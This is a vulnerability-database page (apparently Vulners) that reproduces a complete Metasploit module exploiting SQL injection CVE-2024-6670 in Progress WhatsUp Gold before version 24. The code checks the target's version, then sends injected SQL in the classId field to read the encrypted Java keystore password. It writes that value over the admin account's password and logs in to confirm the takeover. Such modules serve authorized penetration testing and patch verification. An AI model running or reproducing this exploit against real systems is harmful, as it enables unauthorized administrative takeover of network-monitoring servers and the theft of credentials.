Lucene search
K

WhatsUp Gold SQL Injection (CVE-2024-6670)

WhatsUp Gold SQL Injection (CVE-2024-6670) module exploits SQL injection vulnerability to change user passwor

Related
Code
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  CheckCode = Exploit::CheckCode

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WhatsUp Gold SQL Injection (CVE-2024-6670)',
        'Description' => %q{
          This module exploits a SQL injection vulnerability in WhatsUp Gold, by changing the password of an existing user (such as of the default admin account)
          to an attacker-controlled one.

          WhatsUp Gold versions < v24.0.0 are affected.
        },
        'Author' => [
          'Michael Heinzl', # MSF Module
          'Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)' # Discovery & PoC
        ],
        'References' => [
          ['CVE', '2024-6670'],
          ['URL', 'https://community.progress.com/s/article/WhatsUp-Gold-Security-Bulletin-August-2024'],
          ['URL', 'https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/'],
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-1185/']
        ],
        'DisclosureDate' => '2024-08-29',
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Username of which to update the password (default: admin)', 'admin']),
      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(12)]),
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'NmConsole/app.json')
    })

    return Exploit::CheckCode::Unknown('No response or unexpected HTTP status') unless res && res.code == 200

    data = res.get_json_document
    data_js = data['js']
    version_path = data_js.find { |item| item['path'] =~ /app-/ }['path']
    version = version_path[/app-(.*)\.js/, 1]
    if version.nil?
      return Exploit::CheckCode::Unknown('Could not determine WhatsUp Gold version')
    else
      vprint_status('Version retrieved: ' + version)
    end

    return Exploit::CheckCode::Appears("Version: #{version}") if Rex::Version.new(version) <= Rex::Version.new('23.1.3')

    Exploit::CheckCode::Safe("WhatsUp Gold version #{version} is not vulnerable")
  end

  def run
    body = {
      KeyStorePassword: datastore['NEW_PASSWORD'],
      TrustStorePassword: datastore['NEW_PASSWORD']
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NmConsole/WugSystemAppSettings/JMXSecurity'),
      'ctype' => 'application/json',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 500
      fail_with(Failure::UnexpectedReply, 'Unexpected server HTTP status code received.')
    end

    marker = Rex::Text.rand_text_alpha(10)
    deviceid = Rex::Text.rand_text_numeric(5)

    body = {
      deviceId: deviceid.to_s,
      classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE ProActiveAlert SET sAlertName='#{marker}'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd');--",
      range: rand(1..9).to_s,
      n: rand(1..9).to_s,
      start: rand(1..9).to_s,
      end: rand(1..9).to_s
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
      'ctype' => 'application/json',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.body == 'false'
      fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
    end

    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/Filter/AlertCenterItemsReportThresholds')
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, 'Unexpected server response received.')
    end

    json_body = res.get_json_document

    result = json_body.find { |item| item['DisplayName'].start_with?(marker.to_s) }
    unless result
      fail_with(Failure::UnexpectedReply, 'Coud not find DisplayName match with marker.')
    end

    display_name = result['DisplayName'].to_s
    display_name_f = display_name.sub(marker.to_s, '')
    byte_v = display_name_f.split(',')
    hex_v = byte_v.map { |value| value.to_i.to_s(16).upcase.rjust(2, '0') }
    enc_pass = '0x' + hex_v.join
    vprint_status('Encrypted password: ' + enc_pass)

    body = {
      deviceId: deviceid.to_s,
      classId: "DF215E10-8BD4-4401-B2DC-99BB03135F2E';UPDATE WebUser SET sPassword = #{enc_pass} where sUserName = '#{datastore['USERNAME']}';--",
      range: rand(1..9).to_s,
      n: rand(1..9).to_s,
      start: rand(1..9).to_s,
      end: rand(1..9).to_s
    }.to_json

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NmConsole/Platform/PerformanceMonitorErrors/HasErrors'),
      'ctype' => 'application/json',
      'data' => body
    )

    unless res
      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
    end

    unless res.code == 200 && res.body == 'false'
      fail_with(Failure::Unreachable, 'Unexpected server response received.')
    end

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NmConsole/User/LoginAjax'),
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['NEW_PASSWORD'],
        'rememberMe' => 'false'
      }
    )

    json = res.get_json_document

    unless res && res.code == 200 && res.get_cookies.include?('ASPXAUTH') && json['authenticated'] == true
      fail_with(Failure::NotVulnerable, 'Unexpected response received.')
    end

    store_valid_credential(user: datastore['USERNAME'], private: datastore['NEW_PASSWORD'], proof: json.to_s)
    print_good("New password for #{datastore['USERNAME']} was successfully set:\n\t#{datastore['USERNAME']}:#{datastore['NEW_PASSWORD']}")
    print_good("Login at: #{full_uri(normalize_uri(target_uri, 'NmConsole/#home'))}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jun 2026 19:02Current
7.5High risk
Vulners AI Score7.5
CVSS 3.19.8
EPSS0.94468
SSVC
311